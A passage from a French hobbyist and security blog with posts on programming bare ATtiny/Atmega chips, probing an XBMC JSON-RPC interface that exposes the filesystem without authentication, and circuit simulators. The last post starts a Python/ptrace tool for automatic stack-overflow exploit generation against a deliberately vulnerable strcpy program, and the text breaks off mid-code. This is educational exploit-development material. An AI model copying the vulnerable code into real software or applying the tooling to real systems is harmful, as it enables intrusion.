vendredi, avril 13 2012

L'arduino c'est contagieux

Le 9 mars 2011 dernier (merci Twitter pour la date exacte) j'ai acheté un arduino. Depuis j'ai pas mal joué avec et j'en arrive aujourd'hui à vouloir utiliser au jour le jour certains de mes bricolages. Le problème c'est que si je dois acheter un arduino pour chaque bricolage que je veux garder et utiliser quotidiennement ça risque de taper sérieusement dans mon budget. Heureusement il y a pleins de solutions à ce problème.
Arduino UNO - Creative Common by "Beraldo Leal" on Flickr

La première solution c'est de ne tout simplement jamais utiliser d'arduino et d'oublier carrément les micro-controlleurs Atmega. L'un de mes amis, qui fait de l'électronique depuis des années, a ainsi toujours utilisé des PIC. L'avantage des PIC, par rapport aux Arduino, c'est leur prix ridicule (comptez quelques dizaines de centimes d'euros pour les plus petits alors qu'un arduino coutera minimum une quinzaine d'euros). Mais l'inconvénient majeur des PIC c'est qu'il vous faudra un programmeur matériel dédié pour uploader vos programmes dessus, et que ce programmeur dédié coute cher (comptez une trentaine ou une cinquantaine d'euros).

La seconde solution c'est d'utiliser des Atmega nu. Les Atmega c'est la famille des micro-controlleurs qui sont au coeur des Arduino. En fait un Arduino c'est un atmega avec un peu d'électronique autour pour uploader les instructions sans programmeur externe, et pas mal de logiciel pour rendre ultra simple le codage, la compilation, et l'upload sur l'Atmega. Donc quand on utilise un Arduino en fait on utilise un Atmega :) L'avantage des Atmega (et leur petits frêres les Attiny) c'est le prix du programmeur externe, en effet vous pouvez utiliser votre Arduino comme programmeur pour Atmega (via le sketch ArduinoISP, donc aucun investissement supplémentaire si vous arrivez à le faire marcher) ou bien en acheter un tout fait et dédié à cet usage (ce qui est beaucoup plus simple à mon gout) pour la modique somme de 3€ sur eBay. L'inconvénient c'est que les Atmega (et les Attiny) sont plus chers que les PIC (et qu'il existe également moins de modèles différents); mais ne vous affolez pas ça reste quand même largement moins cher qu'un arduino complet et vous n'aurez donc aucun scrupule à "investir" 1 ou 2 euros dans un Atmega destiné à rester à perpétuité dans votre bricolage numéro 3454464béta :D

Dans l'idée de fabriquer des bricolages "définitifs" je me suis donc orienté vers la seconde option : programmeur matériel dédié à acheter une fois et atmega (ou attiny) indépendant à acheter pour chaque montage "définitif". Le prix de cette migration a donc été pour mon cas de :

  • 3€ pour un programmeur dédié USBASP (acheté sur eBay)
  • 1,30€ pièce pour des Atmega8 (également achetés sur eBay)
  • ou 3,5€ pièce pour des ATtiny85 (encore et toujours achetés sur eBay) à la place des Atmega8 si je veux un tout petit montage.

Par contre en basculant sur du micro-controlleur indépendant on perd un avantage énorme de l'arduino : l'IDE et ses bibliothèques simplifiant monstrueusement la tache du codeur. A titre d'exemple voilà le code Arduino qui fait clignoter une LED (l'équivaleur électronique de "Hello World") :

void setup() {                
  // initialize the digital pin 13 as an output.
  pinMode(13, OUTPUT);     
}

void loop() {
  digitalWrite(13, HIGH);   // set the LED on
  delay(1000);              // wait for a second
  digitalWrite(13, LOW);    // set the LED off
  delay(1000);              // wait for a second
}

Et, pour comparer, le même code pour ATtiny85 sans utiliser les librairies Arduino :

#include<avr/io.h>
#include<util/delay.h>
void sleep(int millisec) {
	while(millisec)
	{
		_delay_ms(1);/* 1 ms delay */
		millisec--;
	}
}

main() {
	DDRB |= 1<<PB3; /*PB3 is now an output*/
	while(1) {
		PORTB &= ~(1<<PB3); /* PB3 low */
		sleep(1500); /* 1.5s delay */
		
		PORTB |= (1<<PB3); /* PB3 high */
		sleep(3000); /* 3s delay */
	}
}

Tout de suite c'est quand même moins user-friendly. Et encore, là on fait juste clignoter une LED. Soyez assurés que quand on joue avec les interruptions c'est encore plus moche. M'enfin bon, ça reste quand même compréhensible, donc poursuivons. Quand on utilise l'IDE Arduino on branche son arduino en USB, on écrit son code, puis on clique sur le bouton "compile and upload" et c'est fini, l'Arduino se comporte comme on l'a programmé. Quand on utilise un micro-controlleur indépendant c'est "un poil" plus compliqué.

D'abord il faut brancher l'USBASP (notre programmeur matériel dédié) : Coté USB c'est trivial, coté Micro-controlleur il faut ressortir la doc des branchements. Une fois la doc sous les yeux le branchement est simple puisqu'il suffit de se débrouiller pour que les fils MOSI/MISO/SCK/RST du programmeur correspondent aux pates MOSI/MISO/SCK/RST du micro-controlleur. Ca n'a rien de sorcier mais on est obligé de ressortir le schéma à chaque fois (parce que, franchement, l'apprendre par coeur...). Branchement coté programmeur :
USBASP programmer
Et branchement coté micro-controlleur (ci-dessous pour les attiny) :
pinout attiny 25/45/85

Une fois correctement branché il faut coder (pour ça on peut être certain que VIM ne nous laissera pas tomber :)). Ensuite on compile avec avr-gcc en faisant attention de bien choisir la plateforme cible :
avr-gcc -mmcu=attiny85 ledblink.c -Os -o ledblink_tiny85.o
Une fois compilé on extrait le code intéressant au format ihex :
avr-objcopy -j .text -j .data -O ihex ledblink_tiny85.o ledblink_tiny85.hex
Il ne reste plus qu'à uploader le code sur notre micro-controlleur à 3€ :
avrdude -p /dev/ttyS3 -c usbasp -p t85 -v -U flash:w:ledblink_tiny85.hex

Et "voilà" la LED qu'on a branché sur la pate PB3 de l'attiny (via une résistance de plus de 300 ohms pour ne pas la cramer) clignote gentiment. Maintenant plus rien ne s'oppose à la réalisation de montages permanents coutant moins de 10€ :) !

EDIT 14/04/2012 : chez moi par défaut avr-gcc ne trouve par le fichier "crtm8.o" et du coup il ne parvient pas à linker correctement quand je lui spécifie une cible "atmega8" à la place de "attiny85". Pour régler le problème il suffit de lui rappeler où trouver "crtm8.o" avec son option -B:
avr-gcc -mmcu=atmega8 ledblink.c -Os -o ledblink_atmega8.o -B /usr/avr/lib/avr4/
La suite reste similaire à l'exemple donné pour l'attiny85:
avr-objcopy -j .text -j .data -O ihex ledblink_atmega8.o ledblink_atmega8.hex
Et pour l'upload on change juste l'option "-p" en mettant "m8" (= atmega8) à la place de "t85" (=attiny85) :
avrdude -p /dev/ttyS1 -c usbasp -p m8 -v -U flash:w:ledblink_atmega8.hex

EDIT2 14/04/2012 : Rajout en fichier joint d'un exemple de code réalisant deux Fast PWM sur atmega8 (typiquement pour diriger un robot)

mercredi, juillet 6 2011

Petite visite du guérisseur

Monsieur Soleil peut tout faire. Retour de l'être aimé, prédiction des résultats du loto, choix infaillible de la couleur de la cravatte, conjuration des problèmes d'impuissance, etc... Bon plus sérieusement je ne vais pas parler de ce type de guérisseur là, rassurez-vous. Je vais vous parler de Jason, figure de la mythologie grecque connu sous le surnom "le guérisseur"...bon non plus, ça c'était juste pour le jeu de mot (bien pourri). En fait je vais vous parler de JSON et, plus précisément, des JSON-RPC que j'ai eu la surprise de découvrir accessibles sur mon serveur...

Marabout - Based on a Creative Common photo published by "Ludovic Hirlimann" on Flickr
Pour poser le cadre donc : j'ai un serveur multimédia (allumé H24[1], comme tout bon serveur qui se respecte) et l'autre jour alors que je faisais le petit nmap routinier de mon réseau local apparait une nouveauté sur ce serveur :

PORT     STATE SERVICE     VERSION
9090/tcp open  zeus-admin?

Autant vous dire que, sur le moment, j'ai un peu fait la gueule :-D Après enquête rapide il s'avère que c'est en fait le XBMC qui tourne sur mon serveur qui expose là l'une de ses nouvelles interfaces de commande... Dans les anciennes versions, XBMC exposait uniquement (pour autant que je sache) une interface de commande HTTP accessible après authentification et qui permettait ainsi de controller les lectures multimédia via le réseau (super pratique pour transformer votre téléphone android en télécommande wifi). Dans les dernières version l'interface HTTP est deprecated, et c'est l'interface JSON-RPC qui devrait la remplacer.

Pour ceux qui l'ignorent (comme moi il y a quelques semaines), le JSON-RPC c'est une méthode de RPC qui utilise la syntaxe JSON (on ne s'en douterai pas hein ?). Et pour la conclure l'explication : le JSON c'est une méthode de formatage de données dont l'esprit est de se rapprocher de la syntaxe....javascript. Je ne plaisante pas, JSON c'est même l'acronyme de "JavaScript Object Notation" si vous voulez tout savoir. Du coup une requête JSON-RPC ça ressemble à ça :

{"jsonrpc": "2.0", "method": "subtract", "params": {42, 23}, "id": 1}

Bon...c'est pas très joli mais ça reste compréhensible :) Du coup je me suis dit "voyons ce que l'on peut faire avec ça", mais avant d'exposer les résultats je dois faire un disclaimer : "j'ai peut-être été trop permissif dans ma configuration d'xbmc (même si j'en doute), donc ne blamons pas trop les réglages qu'on peut/doit faire pour utiliser une télécommande, c'est peut être ma faute". Maintenant répondons à "que peut on faire avec ça ?" :

Première chose : survoler la liste des procédures accessibles. La première qui a une tête sympa c'est "JSONRPC.Ping". Aussitôt identifiée aussitôt testée :

echo '{"jsonrpc": "2.0", "method": "JSONRPC.Ping", "id":"5"}' | nc serveurmultimedia 9090

Et réponse immédiate :

{
   "id" : "5",
   "jsonrpc" : "2.0",
   "result" : "pong"
}

Cool ça marche :-D !!!...Pas cool : j'ai pas eu besoin de m'identifier :-/ La paranoïa aidant la seconde procédure que je teste c'est "Files.GetDirectory"...forcément.

echo '{"jsonrpc": "2.0", "method": "Files.GetDirectory", "id":"peur", "params":{"directory":"/"}}' | nc serveurmultimedia 9090

Ah bah....ça marche :

{
   "id" : "peur",
   "jsonrpc" : "2.0",
   "result" : {
      "directories" : [
         {
            "fanart" : "special://masterprofile/Thumbnails/Video/Fanart/cfb24076.tbn",
            "file" : "/var/",
            "label" : "var"
         },
         {
            "fanart" : "special://masterprofile/Thumbnails/Video/Fanart/b1fe6366.tbn",
            "file" : "/usr/",
            "label" : "usr"
         },
         {
            "fanart" : "special://masterprofile/Thumbnails/Video/Fanart/dafd2084.tbn",
            "file" : "/tmp/",
...ETC...

Et vous savez le mieux ? Y'a une procédure Files.Download :-D !...Après l'avoir testé dans tout les sens il semblerait qu'en fait cette procédure ne soit, pour l'instant, pas implémentée (ouf !) et que de toute façon elle ne permette de télécharger que des ressources générées par XBMC (vignettes, etc.). M'enfin déjà le simple Files.GetDirectory c'est pas très joli[2]...Du coup une seule chose à dire : faites attentions aux permissions que vous mettez sur votre XBMC si vous voulez utiliser une télécommande réseau, il se peut que vous ouvriez des portes à n'importe qui ayant accès au port TCP.

Ceci étant dit, on va considérer que ça cloture la partie "sécu" de ce billet, et on va voir si on peut jouer avec ça sans vilaines pensées, par exemple essayons de faire les requêtes en python :

>>> import json, socket, random
>>> req = {'jsonrpc':'2.0', 'id':str(random.randint(0,100)), 'method':'JSONRPC.Ping'}
>>> s =  socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.connect(("serveurmultimedia",9090))
>>> s.send(json.dumps(req))
>>> reponse = s.recv(1024)
>>> print reponse
{
   "id" : "82",
   "jsonrpc" : "2.0",
   "result" : "pong"
}

Intéressant...Du coup si jamais un script python sur android qui est en train d'exécuter time.sleep() ne consomme pas de CPU (donc de batterie) je pourrai m'écrire un script, utilisable sur mon téléphone, qui me réveille à l'heure de mon choix en jouant le média de mon choix sur mon serveur !!! Intéressant non ?

Pour que ça soit intéressant j'ai envie de lire un mp3 aléatoire. La logique de XBMC étant ce qu'elle est[3] je dois d'abord récupérer les "sources" de music :

>>> req = {'jsonrpc':'2.0', 'id':str(random.randint(0,100))}
>>> req['method'] = "Files.GetSources"
>>> req['params'] = {'media':'Music'}
>>> s.send(json.dumps(req))
>>> reponse = s.recv(10*1024)
>>> shares = json.loads(reponse)['result']['shares']
>>> for s in shares:
>>>    print s['file']
/mnt/raid0/musiquelegalementachetee/
...

Une fois les sources récupérées (et surtout les répertoires associées, dans l'attribu bien nommé "file"...) on peut utiliser Files.GetDirectory dont on parlait plus haut afin de récupérer l'ensemble des morceaux directement à la racine de notre source (j'ai la flemme de coder le récursif pour l'instant) :

>>> req = {'jsonrpc':'2.0', 'id':str(random.randint(0,100))}
>>> req['method'] = "Files.GetDirectory"
>>> req['params'] = {'directory':shares[0]['file']}
>>> s.send(json.dumps(req))
>>> reponse = s.recv(100*1024)
>>> musics = json.loads(reponse)
>>> random.shuffle(musics['result']['files'])
>>> musique = musics['result']['files'][0]["file"]
>>> print musique
/mnt/raid0/musiquelegalementachetee/rickroll.mp3

Maintenant j'aurai adoré utilisé "AudioPlaylist.Insert" pour insérer la chanson à l'endroit de mon choix dans la playlist courante puis en lancer la lecture, sauf que quand je fais appel à "AudioPlaylist.Insert" j'ai une réponse "Method not found."...On va donc supposer que ce n'est pas encore implémenté :-( Résultat il ne me reste plus qu'à me rabattre sur AudioPlaylist.Add puis prier le guérisseur pour que lors de l'appel à AudioPlaylist.Play ce soit le bon morceau qui soit joué...Je l'ai donc fait :

>>> req = {'jsonrpc':'2.0', 'id':str(random.randint(0,100))}
>>> req['method'] = "AudioPlaylist.Add"
>>> req['params'] = {"item": {"file":musique}}
>>> s.send(json.dumps(req))
>>> reponse = s.recv(1024)
>>> print reponse
{
   "id" : "2",
   "jsonrpc" : "2.0",
   "result" : "OK"
}
>>> req = {'jsonrpc':'2.0', 'id':str(random.randint(0,100))}
>>> req['method'] = "AudioPlaylist.Play"
>>> s.send(json.dumps(req))

Et là ça ne joue pas le bon morceau :-S ... Vérification de la playlist : mon morceau n'a même pas été ajouté en fait... Heureusement la communauté des dev de XBMC est plutôt très active et j'ai rapidement trouvé le problème :

The current playlist implementation/representation in json rpc has many (design) flaws and there are lots of unsupported things and it will hopefully be completely rewritten for the next release (if there's enough time). Until then it might be the safest approach not to use the Playlist methods (except SkipPrevious, SkipNext, GetItems, Clear, Shuffle and UnShuffle which should work as expected).

We're sorry for the inconvenience and hope to provide a much better solution in the next version

Donc voilà : actuellement il est impossible de faire ce que je voulais :-( ..Snif. La suite peut-être à un prochain numéro :) !

Notes

[1] Que les amis de la planète se rassurent : c'est une machine à base d'atom qui consomme moins en H24 qu'une seule heure de jeu sur les dernières cartes graphiques à la mode

[2] Même si, comme moi, vous faites tourner votre XBMC avec des droits minimalistes

[3] et comme je n'utilise pas les fonctionnalitées "library" d'XBMC

jeudi, juin 23 2011

Les mains dans le cambouis

Après avoir passé des mois à faire de la sécurité informatique à haute dose on peut avoir envie de se changer un petit peu les idées (mais vraiment juste un peu). Ce genre de moment est l'occasion révée pour ressortir des vieux projets des placards ! Pour ma part j'ai ressorti 3~4 vieux projets et en moins de 2h ils ont tous, sauf un, dérivé vers la sécurité informatique (on ne se refait pas ^^ !). Histoire de jeter malgré tout une petite pierre hors de la thématique usuelle de ce blog je vais donc vous parler du dernier de ces projets (ça reste du Hack, ne vous inquiétez pas ;) )

Robot - Based on a picture published under the Creative Common license by "vmario" on Flickr
Il y a fort fort longtemps dans une contrée pas si éloignée que ça j'ai participé deux années de suite à la coupe de France de robotique. Nos deux participations furent des fiascos mais tant pis, on s'était quand même bien amusé ! Mes responsabilités dans l'équipe se cantonnaient au domaine informatique[1] et il faut bien avouer que c'était pour le mieux car j'étais une quiche en électronique (surtout en comparaison avec les brutes qu'on avait de ce coté là !). Le temps a passé et j'ai toujours considéré que connaitre un peu d'électronique m'ouvrirait pleins de nouveaux horizons d'amusements... Il y a quelques mois de celà j'ai donc craqué et j'ai investi lourdement (au moins...pfiou....facilement...oula....25£ au bas mot :D !) dans un arduino !!! J'ai également ratissé ebay, dealextreme, et oomlout pour obtenir une plaque de prototypage, des cables, des résistances de toutes les valeurs possibles, quelques diodes, et un capteur de distance infra-rouge [2].

Une fois tout ce petit matériel reçu j'ai enfin pu m'amuser à faire clignoter mes LED, à changer les patterns de clignotements en fonction de la distance retournée par le capteur, etc. Puis mon jouet est tombé dans l'oubli, submergé par un ras de marré de sécu informatique. La semaine dernière l'envie de ressorti mon arduino s'est fait sentir et en particulier celle de lui faire commander des moteurs ! Pour le signal de commande aucun problème, l'arduino possède une commande toute faite pour envoyer une PWM sur un port de son choix. Reste donc à acheter des moteurs adéquats, et à trouver une façon de leur envoyer de la puissance.

Pour faire simple j'ai d'abord acheté deux micro moteurs 6V consommant 40mA. C'est extrèmement faible, mais c'est pour une bonne raison : l'arduino est capable de fournir cette puissance là tout seul, sans électronique de puissance supplémentaire :) En choisissant ces moteurs je m'assure donc de pouvoir jouer un petit peu mais probablement pas de faire un robot capable de se déplacer. En effet l'arduino seul fournira à mes moteurs la modeste puissance de 0,2W[3], à titre de comparaison à la coupe de France nos moteurs tournaient autour des 30~40W :-D

Seulement voilà : la livraison de mes moteurs devrait prendre au moins 10 jours :-( ...Du coup je me suis dit qu'en les attendant j'allais réfléchir à une carte de puissance capable d'alimenter de plus gros moteurs (et donc, pourquoi pas, de rendre mon arduino mobile). C'est à ce moment du billet qu'on retombe dans l'informatique (et qu'on compte sur les doigts d'une main le nombre de mes lecteurs qui sont arrivés jusqu'ici lol) : pour confirmer les cartes de puissance que je pourrait imaginer j'ai décidé de les simuler sur ordinateur plutôt que d'envoyer un mail toutes les 10mn pour demander leur avis à mes amis qui sont forts en électroniques. Mais pour simuler un circuit électronique il faut un logiciel de simulation électronique, or il s'avère que ce n'est pas si simple à trouver. C'est donc là que ce billet prend tout son intéret : vous faire part de mon retour d'expérience en la matière et vous éviter de galérer autant que moi si l'envie vous prend de faire mumuse avec un fer à souder virtuel.

Le cahier des charges est simple : il me faut un logiciel gratuit, fonctionnant sous linux, et qui soit capable de simuler tout les petits circuits simples auxquels je pourrai penser. Après quelques recherches sur google j'ai trouvé pas mal de pages faisant des comparatifs des différents logiciels disponibles malheureusement beaucoup des infos présentes sur ces pages étaient vieilles et ne correspondaient plus du tout à la réalité. Du coup j'ai passé plusieurs jours à débrousailler le terrain pour ne finalement conserver que deux logiciels valables : Oregano d'une part, et gEDA d'autre part.


Oregano

Oregano - screenshot by Ozwald

J'ai commencé par Oregano parcequ'il a une interface super user-friendly et semble monolythique (donc simple). A l'usage il est effectivement très agréable mais je lui ai très vite trouvé deux inconvénients :

  • Impossible de trouver comment faire des mesures de courant. Poser des sondes de tension est enfantin, mais les sondes de courant doivent se cacher quelque part au fin fond d'un menu d'option et je ne les ai pas trouvé...
  • régler finement les paramètres de ses composants (en particulier des semi-conducteurs) parait impossible. En pratique c'est possible mais ça n'a rien d'intuitif. En effet, alors que toute l'interface est ultra simpliste, il faut aller éditer l'onglet "model" des propriétés du composant pour y renseigner le model SPICE brute (ce qui est franchement cabalistique et semble contre-nature par rapport au reste de l'interface "clic clic").

Finalement je pourrai l'utiliser...d'autant qu'il permet d'exporter les schéma au format netlist (j'expliquerai ce que c'est un peu plus tard) et que je pourrai donc facilement faire mes mesures de courant. Mais bon...comme je suis passé à gEDA quand je n'arrivais pas à spécifier les caractéristiques d'un pauvre transistor bipolaire, je reste pour l'instant sur gEDA !


gEDA

Alors là c'est du lourd ! gEDA est en fait un conglomérat de plusieurs logiciels spécialisés chacun dans une étape du travail de l'électronique, ce qui lui permet d'être très puissant[4] mais aussi de faire très peur aux débutants :-D En réalité, après m'être penché un petit peu sur le monstre, les fonctions que je souhaite réaliser se résument dans seulement deux tout petit logiciels qui se maitrisent finalement assez vite.

gschem - Screenshot by Ozwald Tout d'abord il y a gschem qui permet de "dessiner" son schéma électronique. Le maniement est beaucoup moins intuitif que celui d'oregano mais au moins il est homogène : que celà soit pour paramétrer un transistor ou une résistance la démarche est la même (à savoir : vous n'avez qu'à ajouter manuellement à votre objet un paramètre de nom "value" qui contient le code SPICE du composant). Cet outil ne sert qu'à dessiner le schéma par contre, vous ne pourrez pas faire de routage avec, et vous n'avez pas à placer de sondes de tensions/courants/autre sur le schéma comme vous devez le faire avec oregano. Une fois le schéma dessiné vous le sauvegarder au format gschem (format par défaut) et vous passez au logiciel suivant...

gspiceui - Screenshot by Ozwald ...gspiceui ! Le petit logiciel gspiceui (qui ne fait pas parti de la suite gEDA d'ailleurs lol) va vous permettre de simuler votre circuit. D'ailleurs si vous êtes sous gentoo pensez à le compiler avec les flags "waveform" et "schematics"[5], si vous êtes sous ubuntu n'utilisez pas la version packagée mais allez plutôt télécharger la dernière[6].

Bref, pour réaliser une simulation avec gspiceui vous devrez importer le schéma réalisé avec gschem (menu File>Import), vous sélectionnez les composants du schéma que vous voulez observer, vous sélectionnez le type de simulation à faire (la simulation temporelle correspond à l'onglet "Transient"), vous choisissez les paramètres temporels de la simulation, les grandeurs que vous voulez observer (courant, tensions, etc.) puis il ne reste plus qu'à créer un fichier de simulation (menu "Simulate>Create"), à lancer la simulation (menu "Simulate>Run"), et à lancer l'appli de visualisation de vos courbes (menu "Simulate>Data viewer").

Une fois le "Data Viewer" lancé vous pouvez glisser/déposer les grandeurs que vous voulez observer depuis la fenêtre flotante contenant la liste de toutes les grandeurs disponibles jusqu'à la zone de traçage de courbe et voilà !

Il ne me reste plus qu'à conclure en vous disant qu'aussi bien oregano que gspiceui s'appuient en fait discrètement sur des moteurs de simulation électronique indépendants (le plus connu étant "SPICE", mais gnucap fonctionnant tout aussi bien si ce n'est mieux (c'est d'ailleurs ce dernier que j'utilise)) ; Que ces moteurs de simulation mangent des fichiers au format "netlist" qui sont générées par oregano ou gspiceui[7] ; Que les deux derniers screenshots (gschem et gspiceui) correspondent justement à un schéma d'alimentation de puissance pour moteur que j'ai moi-même pensé ; Que cet amplificateur de puissance fonctionne ; Qu'il est super simple et tout pourri aussi bien en rendement qu'en fonctionnalités (il ne permet de faire tourner le moteur que dans un seul sens par exemple) ; Mais qu'il fonctionne (oui, j'en suis fier :-p !) ; Et enfin que je vous déconseille de l'utiliser en l'état car sur les screenshots il manque la diode de roue libre.

Allez, on se quite sur la description SPICE d'une diode (pour vous prouver que c'est vraiment cabalistique et que ça ne colle pas du tout avec l'interface bisounours d'oregano) :

MODEL 1N1004 D (IS=0.5UA RS=6 BV=5.20)

Notes

[1] et un petit peu de mécanique quand ça se résumait à manier l'arme ultime du travail propre : le pistolet à colle

[2] le même type que ceux qu'on avait utilisé sur notre robot :)

[3] Souvenez-vous : P = UI. Dans mon cas I=40mA et U=5V (et non pas 6V, car l'arduino sort en 5V tout simplement)

[4] Vous pouvez tout faire avec gEDA, du design de schémas aux plans de routage en passant par les simulations électriques de tout poil

[5] sinon vous ne pourrez pas tracer de courbes, ou vous ne pourrez pas importer les schémas dessinés par gschem

[6] la version packagée sous ubuntu souffre d'un bug tout con qui rend le lancement de simulation impossible si vos paramètres de langue utilisent une virgule au lieu d'un point pour les nombres décimaux...ce qui est le cas en Français

[7] C'est justement lors de la génération des fichiers netlist que le problème de séparation des décimales rend la version de gspiceui packagée Ubuntu (9.98) inutilisable en environnement français

lundi, juin 21 2010

Saine émulation

J'ai récemment assisté à mon premier SSTIC[1] et lors de l'une ou de l'autre des conférences l'outil Metasm a attiré mon attention. Deux jours après être rentré du SSTIC je tombe sur un alléchant article d'un gars de SOGETI qui parle justement de Metasm. Je dévore l'article en question[2] (qui consiste, en gros, à écrire un script de génération automatique d'exploit pour stack overflow en partant d'une appli vulnérable...miam) et une fois l'article fini une question s'impose à moi : Tout leur (joli) travail est en ruby[3] ...saurais-je les copier en python ?!

Truck race - Creative Common by tonylanciabeta on Flickr
Tout d'abord résumons le principe du script que l'on souhaite réaliser. En une phrase ce script doit prendre en argument un programme vulnérable à un stack overflow, forger tout seul un payload capable d'exploiter cette vulnérabilité (pour spawner un shell par exemple), puis tenter l'exploitation en boucle jusqu'à ce qu'elle réussisse. Ca c'est la version simple, dans les détails c'est infiniment plus riche et passionant. Mais avant de passer aux détails, voici le programme test pour lequel nous allons tenter de forger automatiquement un exploit[4] :

#include <stdio.h>
#include <string.h>

// gcc main.c -mpreferred-stack-boundary=2 -o main

int main(int argc, char * argv[])
{
        char buff[128];

        if(argc<2)
                return 0xffe4;

        strcpy(buff, argv[1]);

        return 0;
}

Bien, on voit rapidement où se situe le stack overflow que l'on souhaite exploiter et comment l'exploiter (pour les plus mauvais en C d'entre vous : il suffit d'envoyer un gros argument en ligne de commande et, s'il est trop gros, il dépassera de la pile lorsqu'il sera copié dans "buff" par "strcpy" :) ). Il est maintenant temps de songer sérieusement à la façon dont on va forger l'exploit à passer à ce petit programme !

Premier problème qui se pose à nous : quelle taille est disponible sur la pile avant d'écraser la valeur sauvegardée d'EIP ? En regardant le code source rapidement on se doute que ça ne doit pas être bien loin de 128 octets, mais on va faire semblant de ne pas savoir et on va coder notre script pour qu'il trouve tout seul la taille disponible (après tout le but du jeu c'est aussi de faire un script qui pourrait aider à générer des exploit pour de vrais programme vulnérables à ce type d'attaques). Pour comprendre la méthode proposée dans l'article d'Ivan je vais faire un petit rappel technique[5] :

<rappel> Les appels de fonctions se terminent toujours par l'enchainement d'instructions assembleurs "LEAVE" puis "RET". Dans notre cas on obtient d'ailleurs ça dans gdb :

$gdb main
(gdb)disass main
[...]
0x08048426 <main+66>:   leave  
0x08048427 <main+67>:   ret
End of assembler dump.

L'instruction LEAVE fait deux choses : elle écrase ESP avec la valeur actuelle d'EBP, puis elle POP la pile et écrase la valeur d'EBP avec l'adresse qu'elle vient de poper (la valeur d'EBP qui avait été sauvegardée avant de rentrer dans la fonction donc). L'instruction RET, quand à elle, POP la pile et écrase la valeur d'EIP avec l'adresse qu'elle vient de poper (la valeur d'EIP qui avait été sauvegardée avant de rentrer dans la fonction donc). En résumé : LEAVE recadre la pile comme elle était dans la fonction appelante, et RET restaure le pointeur d'EIP pour la fonction appelante. Si vous avez suivi vous avez noté que, sur la pile, la sauvegarde d'EBP est juste avant la sauvegarde d'EIP, et c'est ça qui est important. Déterminer quand on va écraser la sauvegarde d'EIP est donc équivalent à déterminer quand on va écraser la sauvegarde d'EBP, à un POP près :) </rappel>

Revenons donc à notre script et à sa première tache qui consiste à déterminer quelle taille précise nous avons sur la pile avant d'écraser la valeur sauvegardée d'EIP. Si j'ai tout suivi à l'article que je vous ai cité [6] le script va en fait repérer quand on écrase la valeur sauvegardée d'EBP, puis en déduire qu'un POP au delà on écraserait la valeur sauvegardée d'EIP. Si c'est ce fonctionnement là qui est choisi c'est pour une excellente raison : c'est une méthode simple ! En effet la façon la plus simple d'observer la valeur des registres c'est d'utiliser un breakpoint sur une instruction, or la dernière instruction dont nous disposons aisément c'est le RET du main mais si on break sur cette instruction (juste avant qu'elle ne s'exécute donc) le pointeur d'instruction (EIP) n'est pas encore restauré à sa valeur sauvegardée (puisque c'est justement la tâche de ce RET) alors que le pointeur de base de la pile (EBP), lui, a déjà été restauré (puisque c'était la tâche du LEAVE qui était juste avant) ! Donc il suffit de faire un break sur le RET puis d'observer directement la valeur d'EBP pour savoir que, 4 octets plus loin (à un POP près), on écrasait la valeur sauvegardée d'EIP. C'est la seule méthode envisageable de toute façon puisque si on souhaitait breaker après le RET pour observer directement la valeur d'EIP on devrait breaker sur l'instruction à exécuter juste après le RET, donc sur l'instruction présente à l'adresse que nous avons restaurée sur l'EIP or cette adresse va être écrasée par notre argument et donc il nous faudrai breaker n'importe où dans la mémoire ce qui est impossible sous peine de segfault...

En terme de script celà revient donc à ouvrir l'exécutable en mode debug, trouver le RET de la fonction main, mettre un break point dessus, puis lancer plusieurs fois l'exécution en fournisant à chaque fois un argument plus grand tant que la valeur d'EBP observée au moment du break ne provient pas de notre argument. Une fois qu'on a trouvé un argument assez grand pour aller écraser la valeur d'EBP sauvegardée on a résolu notre premier problème qui consistait à savoir précisément combien de place était disponible sur la pile :) !

Allons-y par petites étapes : D'abord on doit "ouvrir l'exécutable en mode debug"...sauf qu'en python on n'a pas accès à Metasm. Diantre nous voilà bien ennuyé ! Pas grave, on n'a peut-être pas Metasm, mais on a des idées (et surtout on a python-ptrace[7], dont vous allez avoir besoin et que vous pouvez obtenir via un simple emerge python-ptrace si vous avez le bon gout d'être sous gentoo). Grace à "python-ptrace" nous allons avoir accès à toutes les fonctions de debug dont nous avons besoin pour jouer sous linux ! Utilisons donc python-ptrace pour "ouvrir l'exécutable en mode debug" :

#!/usr/bin/env python
from ptrace.debugger.debugger import PtraceDebugger
from ptrace.debugger.child import createChild

def load_dbg(prog,arg):
	# ----------------------------------
	#	Getting things ready
	# ----------------------------------
	
	#Create the process we want to debug
	pid = createChild([prog,arg],False,None)
	
	print '[*] Loading process "'+str(prog)+'" in memory with an arg of size',len(arg)
	
	# Create the debugger and attach the process
	dbg = PtraceDebugger()
	process = dbg.addProcess(pid, True)
	
	return (dbg,process)

Il n'y a rien de particulier à comprendre ici, si le sens précis de ces ligne vous intéresse je vous conseille de lire la doc de python-ptrace et les exemples fournis avec qui sont très bien foutus (et dont ces quelques lignes sont très grandement inspirées :) ).

Nous devons ensuite "trouver le RET de la fonction main, mettre un break point dessus, puis lancer plusieurs fois l'exécution [tant que] la valeur d'EBP observée au moment du break ne provient pas de notre argument". Encore une fois nous sommes ennuyés parce que nous n'avons pas Metasm, et cette fois je dois avouer que je n'ai pas trouvé de méthode propre pour trouver directement le RET de la fonction main. Ma première idée a été d'obtenir le mapping des plages mémoires allouées à notre processus, puis de désassembler entièrement les plages exécutables et de mettre des breakpoint sur tous les RET que j'y trouverai. Malheureusement cette méthode faisait segfaulter systématiquement...je suppose que les désassemblages barbares de toute une plage de mémoire n'était pas très corrects et qu'en plaçant mes breakpoint il m'arrivait en fait de tomber au milieu d'instruction n'étant pas des RET, ce qui amenait aux segfaults... Bref cette solution n'était pas viable et j'ai donc opté pour une méthode "Quick & Dirty" : j'exécute l'intégralité du programme en pas à pas, et j'analyse l'EBP à chaque étape :) Alors oui, c'est extrèmement lent et absolument sans aucune subtilité, mais au moins ça marche (et en plus ça permet de traiter indifféremment des buffer overflow se produisant n'importe où dans le code, et plus seulement dans la fonction main :) ). Donc, voyons ce que ça donne en script python+python-ptrace (là vous pouvez lire plus attentivement le code, ça devient intéressant de voir à quel point python-ptrace se manie bien :) ) :

def get_stacksize(prog, arg):
	# ----------------------------------
	#	Figuring out what stack size we have
	# ----------------------------------
	
	stack_crashed=False
	while not stack_crashed:
		# Enlarge our argument ;-)
		arg=arg+arg[-1:]

		# Getting things ready for debugging
		dbg,process = load_dbg(prog,arg)

		# Start the process, step by step (this is VERY slow)
		while process.running and not stack_crashed:	
			# We check (the dirty way) the EBP value in order to detect the overflow
			if long('0x'+4*(hex(ord(arg[-1:]))[-2:]),16) == process.getreg('ebp'):
				stack_crashed=True
